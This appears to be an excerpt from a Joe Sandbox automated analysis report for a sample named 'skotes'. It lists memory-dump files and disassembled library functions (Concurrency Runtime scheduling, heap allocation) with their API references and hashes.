Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: eba1e585f13f08eaa08d5143928fcf0e84b4f1d90bf7a0adf7c9b5aea2f920ba
Instruction ID: 443a561c225a0d308da016a552bfdd0ee0b38b02fae8d250925ab46842f70266
Opcode Fuzzy Hash: eba1e585f13f08eaa08d5143928fcf0e84b4f1d90bf7a0adf7c9b5aea2f920ba
Instruction Fuzzy Hash: 7B212F34A00209AFCF24EF99C499AAEBFB5BF49310F14446BE80597391DB30AE00CB50

Function 005CEE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 005CEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 005CEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 005CEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 005CEF0F
Concurrency::Context::Block.LIBCONCRT ref: 005CEF31

Strings

i\, xrefs: 005CEED0

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i\
API String ID: 1182035702-564709192
Opcode ID: 5045a66729241d2a6b989513c550058d4b57359b2071240becfe51584e0088d3
Instruction ID: 1f53b83063de0c26fbce943bbea87f354d68b9f70f0aec2d1f00e3dea378a422
Opcode Fuzzy Hash: 5045a66729241d2a6b989513c550058d4b57359b2071240becfe51584e0088d3
Instruction Fuzzy Hash: 50215C7081020A8EDF24DFE4C84ABEEBFF1BF14320F20092EE151A61D1EBB59A44CB51

Function 005D78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 005D7903

Part of subcall function 005D5CB8: __EH_prolog3_catch.LIBCMT ref: 005D5CBF
Part of subcall function 005D5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 005D5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 005D792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 005D7936

Part of subcall function 005D5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 005D5D70
Part of subcall function 005D5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 005D5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 005D7982
Concurrency::location::_Assign.LIBCMT ref: 005D79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 005D79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 005D79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 005D79ED

Part of subcall function 005D691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 005D6942
Part of subcall function 005D691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 005D6965

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: e15678425858324ce51ba1adf5172b55401e80eb467f7a5f61853b0d9ba1172b
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 6131E532A0825A5ACF36AB7C44A67FEBFB5BF89300F0401ABD495D7342FA244D49C391

Function 005F4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 005F4C98
__alloca_probe_16.LIBCMT ref: 005F4D5E
__freea.LIBCMT ref: 005F4DCA

Part of subcall function 005EB04B: RtlAllocateHeap.NTDLL(00000000,581F31DB,?,?,005CD3FC,581F31DB,?,005C7A8B,?,?,?,?,?,?,005B7465,?), ref: 005EB07D

__freea.LIBCMT ref: 005F4DD3
__freea.LIBCMT ref: 005F4DF6

Strings

Z^,m^, xrefs: 005F4C26

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Z^,m^
API String ID: 1423051803-300033424
Opcode ID: 1e3603301360b242fea0a261541b8ae92eb50944ee0e842494da5e49ae629b24
Instruction ID: b8eb98051f90b35464722a6853ecd93c628cb118f4b266c9b8055eab82547a79
Opcode Fuzzy Hash: 1e3603301360b242fea0a261541b8ae92eb50944ee0e842494da5e49ae629b24
Instruction Fuzzy Hash: 5051E37260024AAFEB255F65DC45EBB3FA9FF84754F150629FE04D7141EB38DC108AA0

Function 005DDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 005DDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 005DDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 005DDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 005DDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 005DDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 005DDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 005DDE74

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
